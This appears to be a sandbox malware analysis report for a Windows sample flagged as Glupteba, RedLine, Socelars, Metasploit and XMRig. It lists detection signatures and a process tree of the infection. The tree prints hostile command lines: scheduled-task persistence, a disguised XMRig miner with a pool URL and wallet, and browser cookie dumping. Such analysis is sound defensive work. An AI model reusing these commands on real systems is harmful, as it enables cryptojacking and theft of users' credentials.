Overview

overview

10

Static

static

47f849e72b...19.exe

windows7_x64

10

47f849e72b...19.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    13/08/2021, 15:16

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    47f849e72bd7d203755775eebef19e1efa71ee19.exe
  • Size 4.4MB
  • Sample210813-3gbsg66f2a
  • SHA256 5cb7dc8f48821f9e1f48c9d2d52f0f8e435c1286e5e0df3551f614deccdc47dc
  • MD5 SHA1 SHA512
Score
10/10
gluptebametasploitredlinesocelarsxmrigbackdoordiscoverydropperinfostealerloaderminerpersistencespywarestealersuricatatrojan

Malware Config

Extracted

Family

  • metasploit

Version

  • windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba Payload 3 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 1 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • suricata: ET MALWARE GCleaner Downloader Activity M1

    suricata: ET MALWARE GCleaner Downloader Activity M1

    suricata
  • suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)

    suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)

    suricata
  • suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)

    suricata
  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Nirsoft 7 IoCs
  • XMRig Miner Payload 2 IoCs
    miner
  • Downloads MZ/PE file
  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 33 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 18 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
    1⤵
    • Modifies registry class
    PID:2472
  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2868
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2800
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
          PID:2780
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2528
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1936
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1460
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                1⤵
                  PID:1380
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Themes
                  1⤵
                    PID:1196
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                    1⤵
                      PID:1144
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                      • Drops file in System32 directory
                      PID:1028
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                      1⤵
                        PID:1016
                      • C:\Users\Admin\AppData\Local\Temp\47f849e72bd7d203755775eebef19e1efa71ee19.exe
                        "C:\Users\Admin\AppData\Local\Temp\47f849e72bd7d203755775eebef19e1efa71ee19.exe"
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3776
                        • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                          "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:2400
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                            3⤵
                              PID:4244
                              • C:\Windows\system32\schtasks.exe
                                schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                4⤵
                                • Creates scheduled task(s)
                                PID:4380
                            • C:\Users\Admin\AppData\Roaming\services64.exe
                              "C:\Users\Admin\AppData\Roaming\services64.exe"
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:4204
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                4⤵
                                  PID:4108
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                    5⤵
                                    • Creates scheduled task(s)
                                    PID:3572
                                • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                  "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                  4⤵
                                  • Executes dropped EXE
                                  PID:2312
                                • C:\Windows\explorer.exe
                                  C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                                  4⤵
                                    PID:4544
                              • C:\Users\Admin\AppData\Local\Temp\1.exe
                                "C:\Users\Admin\AppData\Local\Temp\1.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:2808
                                • C:\Users\Admin\AppData\Roaming\1893340.exe
                                  "C:\Users\Admin\AppData\Roaming\1893340.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Adds Run key to start application
                                  • Suspicious use of WriteProcessMemory
                                  PID:4124
                                  • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                    4⤵
                                    • Executes dropped EXE
                                    PID:4600
                                • C:\Users\Admin\AppData\Roaming\8750572.exe
                                  "C:\Users\Admin\AppData\Roaming\8750572.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4204
                                • C:\Users\Admin\AppData\Roaming\6465037.exe
                                  "C:\Users\Admin\AppData\Roaming\6465037.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4284
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 2228
                                    4⤵
                                    • Program crash
                                    PID:5024
                                • C:\Users\Admin\AppData\Roaming\4178875.exe
                                  "C:\Users\Admin\AppData\Roaming\4178875.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3532
                                  • C:\Windows\system32\WerFault.exe
                                    C:\Windows\system32\WerFault.exe -u -p 3532 -s 2072
                                    4⤵
                                    • Program crash
                                    PID:5096
                              • C:\Users\Admin\AppData\Local\Temp\2.exe
                                "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                2⤵
                                • Executes dropped EXE
                                • Modifies system certificate store
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:3872
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c taskkill /f /im chrome.exe
                                  3⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4280
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im chrome.exe
                                    4⤵
                                    • Kills process with taskkill
                                    PID:2720
                              • C:\Users\Admin\AppData\Local\Temp\3.exe
                                "C:\Users\Admin\AppData\Local\Temp\3.exe"
                                2⤵
                                  PID:4068
                                  • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                    "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    PID:3520
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 384
                                      4⤵
                                      • Program crash
                                      PID:4832
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 388
                                      4⤵
                                      • Program crash
                                      PID:4912
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 364
                                      4⤵
                                      • Program crash
                                      PID:5016
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 620
                                      4⤵
                                      • Program crash
                                      PID:5112
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 648
                                      4⤵
                                      • Executes dropped EXE
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of WriteProcessMemory
                                      PID:4068
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 692
                                      4⤵
                                      • Program crash
                                      PID:4092
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 724
                                      4⤵
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of WriteProcessMemory
                                      PID:2808
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 792
                                      4⤵
                                      • Program crash
                                      PID:4312
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 664
                                      4⤵
                                      • Program crash
                                      PID:1264
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 536
                                      4⤵
                                      • Program crash
                                      PID:4476
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 620
                                      4⤵
                                      • Program crash
                                      PID:4688
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 676
                                      4⤵
                                      • Program crash
                                      PID:4720
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 620
                                      4⤵
                                      • Program crash
                                      PID:4756
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 708
                                      4⤵
                                      • Program crash
                                      PID:4996
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 692
                                      4⤵
                                      • Executes dropped EXE
                                      • Program crash
                                      PID:3372
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 852
                                      4⤵
                                      • Program crash
                                      PID:3128
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 868
                                      4⤵
                                      • Program crash
                                      PID:1008
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 684
                                      4⤵
                                      • Program crash
                                      PID:5116
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 888
                                      4⤵
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5076
                                    • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                      "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • Modifies data under HKEY_USERS
                                      • Modifies system certificate store
                                      PID:4224
                                • C:\Users\Admin\AppData\Local\Temp\4.exe
                                  "C:\Users\Admin\AppData\Local\Temp\4.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2840
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 544
                                    3⤵
                                    • Program crash
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3568
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 700
                                    3⤵
                                    • Program crash
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4584
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 740
                                    3⤵
                                    • Program crash
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4784
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 924
                                    3⤵
                                    • Program crash
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4896
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 968
                                    3⤵
                                    • Program crash
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4992
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 1072
                                    3⤵
                                    • Program crash
                                    PID:5076
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 1136
                                    3⤵
                                    • Program crash
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3524
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 1248
                                    3⤵
                                    • Program crash
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4912
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 1420
                                    3⤵
                                    • Program crash
                                    PID:4320
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2840 -s 1452
                                    3⤵
                                    • Program crash
                                    PID:204
                                • C:\Users\Admin\AppData\Local\Temp\5.exe
                                  "C:\Users\Admin\AppData\Local\Temp\5.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of WriteProcessMemory
                                  PID:2676
                                  • C:\Users\Admin\AppData\Local\Temp\5.exe
                                    "C:\Users\Admin\AppData\Local\Temp\5.exe" -a
                                    3⤵
                                    • Executes dropped EXE
                                    PID:1560
                                • C:\Users\Admin\AppData\Local\Temp\6.exe
                                  "C:\Users\Admin\AppData\Local\Temp\6.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of WriteProcessMemory
                                  PID:3408
                                  • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                    C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                    3⤵
                                      PID:3372
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      3⤵
                                      • Executes dropped EXE
                                      PID:4936
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      3⤵
                                      • Executes dropped EXE
                                      PID:4908
                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      3⤵
                                      • Executes dropped EXE
                                      PID:3572
                                  • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                                    "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1116
                                  • C:\Users\Admin\AppData\Local\Temp\7.exe
                                    "C:\Users\Admin\AppData\Local\Temp\7.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    PID:4008
                                    • C:\Windows\system32\WerFault.exe
                                      C:\Windows\system32\WerFault.exe -u -p 4008 -s 1500
                                      3⤵
                                      • Program crash
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4352
                                  • C:\Users\Admin\AppData\Local\Temp\8.exe
                                    "C:\Users\Admin\AppData\Local\Temp\8.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1404
                                    • C:\Windows\system32\WerFault.exe
                                      C:\Windows\system32\WerFault.exe -u -p 1404 -s 1592
                                      3⤵
                                      • Program crash
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2720
                                • \??\c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                  1⤵
                                  • Suspicious use of SetThreadContext
                                  • Modifies registry class
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of WriteProcessMemory
                                  PID:4084
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                    2⤵
                                    • Drops file in System32 directory
                                    • Checks processor information in registry
                                    • Modifies data under HKEY_USERS
                                    • Modifies registry class
                                    PID:4128
                                • C:\Windows\system32\rundll32.exe
                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                  1⤵
                                  • Process spawned unexpected child process
                                  • Suspicious use of WriteProcessMemory
                                  PID:1812
                                  • C:\Windows\SysWOW64\rundll32.exe
                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                    2⤵
                                    • Loads dropped DLL
                                    • Modifies registry class
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of WriteProcessMemory
                                    PID:2380
                                • \??\c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                  1⤵
                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                  PID:744

                                Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      memory/744-368-0x0000021CBAE00000-0x0000021CBAE74000-memory.dmp
                                      Download

                                      memory/1016-262-0x000001AE9FB00000-0x000001AE9FB74000-memory.dmp
                                      Download

                                      memory/1016-363-0x000001AE9FC20000-0x000001AE9FC94000-memory.dmp
                                      Download

                                      memory/1028-263-0x0000024F9F310000-0x0000024F9F384000-memory.dmp
                                      Download

                                      memory/1028-367-0x0000024F9F940000-0x0000024F9F9B4000-memory.dmp
                                      Download

                                      memory/1116-166-0x0000000004FA0000-0x0000000004FA1000-memory.dmp
                                      Download

                                      memory/1116-148-0x00000000006A0000-0x00000000006A1000-memory.dmp
                                      Download

                                      memory/1144-256-0x00000155B2E20000-0x00000155B2E94000-memory.dmp
                                      Download

                                      memory/1144-366-0x00000155B3070000-0x00000155B30E4000-memory.dmp
                                      Download

                                      memory/1196-371-0x0000018854B30000-0x0000018854BA4000-memory.dmp
                                      Download

                                      memory/1196-281-0x0000018854A40000-0x0000018854AB4000-memory.dmp
                                      Download

                                      memory/1380-372-0x000002DE03130000-0x000002DE031A4000-memory.dmp
                                      Download

                                      memory/1380-282-0x000002DE02D70000-0x000002DE02DE4000-memory.dmp
                                      Download

                                      memory/1404-159-0x0000000000AE0000-0x0000000000AE1000-memory.dmp
                                      Download

                                      memory/1404-164-0x000000001B730000-0x000000001B732000-memory.dmp
                                      Download

                                      memory/1460-268-0x000001B93F270000-0x000001B93F2E4000-memory.dmp
                                      Download

                                      memory/1460-369-0x000001B93F2F0000-0x000001B93F364000-memory.dmp
                                      Download

                                      memory/1936-370-0x0000025C9CF80000-0x0000025C9CFF4000-memory.dmp
                                      Download

                                      memory/1936-280-0x0000025C9CE40000-0x0000025C9CEB4000-memory.dmp
                                      Download

                                      memory/2312-334-0x0000000003700000-0x0000000003702000-memory.dmp
                                      Download

                                      memory/2380-251-0x0000000000CD9000-0x0000000000DDA000-memory.dmp
                                      Download

                                      memory/2380-253-0x0000000004200000-0x000000000425F000-memory.dmp
                                      Download

                                      memory/2400-315-0x00000000014A0000-0x00000000014A1000-memory.dmp
                                      Download

                                      memory/2400-316-0x00000000016A0000-0x00000000016A2000-memory.dmp
                                      Download

                                      memory/2400-119-0x0000000000C60000-0x0000000000C61000-memory.dmp
                                      Download

                                      memory/2400-314-0x0000000001460000-0x000000000146A000-memory.dmp
                                      Download

                                      memory/2472-365-0x00000239DFDA0000-0x00000239DFE14000-memory.dmp
                                      Download

                                      memory/2472-266-0x00000239DFCB0000-0x00000239DFD24000-memory.dmp
                                      Download

                                      memory/2528-264-0x0000022FCA010000-0x0000022FCA084000-memory.dmp
                                      Download

                                      memory/2528-364-0x0000022FCA160000-0x0000022FCA1D4000-memory.dmp
                                      Download

                                      memory/2780-373-0x0000020996100000-0x0000020996174000-memory.dmp
                                      Download

                                      memory/2780-283-0x0000020995840000-0x00000209958B4000-memory.dmp
                                      Download

                                      memory/2800-374-0x000002530BB50000-0x000002530BBC4000-memory.dmp
                                      Download

                                      memory/2800-284-0x000002530BA60000-0x000002530BAD4000-memory.dmp
                                      Download

                                      memory/2808-140-0x0000000000F20000-0x0000000000F21000-memory.dmp
                                      Download

                                      memory/2808-165-0x000000001B380000-0x000000001B382000-memory.dmp
                                      Download

                                      memory/2808-124-0x00000000007C0000-0x00000000007C1000-memory.dmp
                                      Download

                                      memory/2808-138-0x0000000000F00000-0x0000000000F1E000-memory.dmp
                                      Download

                                      memory/2808-129-0x0000000000EF0000-0x0000000000EF1000-memory.dmp
                                      Download

                                      memory/2840-185-0x0000000000400000-0x0000000000910000-memory.dmp
                                      Download

                                      memory/2840-184-0x00000000001C0000-0x00000000001EE000-memory.dmp
                                      Download

                                      memory/2868-349-0x00000200027B0000-0x0000020002824000-memory.dmp
                                      Download

                                      memory/2868-258-0x0000020002220000-0x0000020002294000-memory.dmp
                                      Download

                                      memory/3372-233-0x0000000000400000-0x0000000000455000-memory.dmp
                                      Download

                                      memory/3408-222-0x0000025D74E30000-0x0000025D74EFF000-memory.dmp
                                      Download

                                      memory/3408-221-0x0000025D74DC0000-0x0000025D74E2F000-memory.dmp
                                      Download

                                      memory/3520-224-0x0000000000400000-0x00000000030EE000-memory.dmp
                                      Download

                                      memory/3520-205-0x0000000005210000-0x0000000005B36000-memory.dmp
                                      Download

                                      memory/3532-193-0x000000001B290000-0x000000001B2BB000-memory.dmp
                                      Download

                                      memory/3532-203-0x0000000002890000-0x0000000002892000-memory.dmp
                                      Download

                                      memory/3532-179-0x0000000000850000-0x0000000000851000-memory.dmp
                                      Download

                                      memory/3776-114-0x0000000000DF0000-0x0000000000DF1000-memory.dmp
                                      Download

                                      memory/4008-187-0x00000238B15B2000-0x00000238B15B4000-memory.dmp
                                      Download

                                      memory/4008-189-0x00000238B15B4000-0x00000238B15B5000-memory.dmp
                                      Download

                                      memory/4008-155-0x0000023896C40000-0x0000023896C41000-memory.dmp
                                      Download

                                      memory/4008-162-0x0000023897120000-0x000002389712B000-memory.dmp
                                      Download

                                      memory/4008-163-0x00000238B15B0000-0x00000238B15B2000-memory.dmp
                                      Download

                                      memory/4008-169-0x00000238B4360000-0x00000238B43DE000-memory.dmp
                                      Download

                                      memory/4068-160-0x000000001B5E0000-0x000000001B5E2000-memory.dmp
                                      Download

                                      memory/4068-133-0x0000000000920000-0x0000000000921000-memory.dmp
                                      Download

                                      memory/4084-257-0x00000248F5B80000-0x00000248F5BF4000-memory.dmp
                                      Download

                                      memory/4084-255-0x00000248F5AC0000-0x00000248F5B0D000-memory.dmp
                                      Download

                                      memory/4124-197-0x0000000002300000-0x0000000002307000-memory.dmp
                                      Download

                                      memory/4124-199-0x0000000007470000-0x0000000007471000-memory.dmp
                                      Download

                                      memory/4124-190-0x0000000000240000-0x0000000000241000-memory.dmp
                                      Download

                                      memory/4124-200-0x0000000007010000-0x0000000007011000-memory.dmp
                                      Download

                                      memory/4128-312-0x000002312DD00000-0x000002312DE06000-memory.dmp
                                      Download

                                      memory/4128-311-0x000002312B3C0000-0x000002312B3DB000-memory.dmp
                                      Download

                                      memory/4128-261-0x000002312B570000-0x000002312B5E4000-memory.dmp
                                      Download

                                      memory/4204-215-0x0000000006EC0000-0x0000000006EC1000-memory.dmp
                                      Download

                                      memory/4204-333-0x0000000001320000-0x0000000001322000-memory.dmp
                                      Download

                                      memory/4204-201-0x00000000000A0000-0x00000000000A1000-memory.dmp
                                      Download

                                      memory/4204-208-0x0000000004880000-0x00000000048B2000-memory.dmp
                                      Download

                                      memory/4204-297-0x0000000009150000-0x0000000009151000-memory.dmp
                                      Download

                                      memory/4204-295-0x0000000008B40000-0x0000000008B41000-memory.dmp
                                      Download

                                      memory/4204-211-0x0000000007410000-0x0000000007411000-memory.dmp
                                      Download

                                      memory/4204-214-0x0000000006E60000-0x0000000006E61000-memory.dmp
                                      Download

                                      memory/4204-292-0x0000000008C20000-0x0000000008C21000-memory.dmp
                                      Download

                                      memory/4204-291-0x0000000008520000-0x0000000008521000-memory.dmp
                                      Download

                                      memory/4204-219-0x0000000006F00000-0x0000000006F01000-memory.dmp
                                      Download

                                      memory/4204-223-0x00000000009A0000-0x00000000009A1000-memory.dmp
                                      Download

                                      memory/4204-226-0x00000000070B0000-0x00000000070B1000-memory.dmp
                                      Download

                                      memory/4224-304-0x0000000000400000-0x00000000030EE000-memory.dmp
                                      Download

                                      memory/4284-195-0x0000000000970000-0x0000000000971000-memory.dmp
                                      Download

                                      memory/4284-227-0x00000000086F0000-0x00000000086F1000-memory.dmp
                                      Download

                                      memory/4284-204-0x0000000002AB0000-0x0000000002ADA000-memory.dmp
                                      Download

                                      memory/4284-207-0x00000000051A0000-0x00000000051A1000-memory.dmp
                                      Download

                                      memory/4284-287-0x0000000008D80000-0x0000000008D81000-memory.dmp
                                      Download

                                      memory/4544-340-0x0000000140000000-0x0000000140763000-memory.dmp
                                      Download

                                      memory/4544-342-0x0000000000B70000-0x0000000000B90000-memory.dmp
                                      Download

                                      memory/4544-341-0x0000000013A90000-0x0000000013AB0000-memory.dmp
                                      Download

                                      memory/4600-220-0x0000000008080000-0x0000000008081000-memory.dmp
                                      Download

                                      memory/4600-225-0x0000000005700000-0x0000000005701000-memory.dmp
                                      Download

                                      memory/4908-303-0x0000000000400000-0x0000000000455000-memory.dmp
                                      Download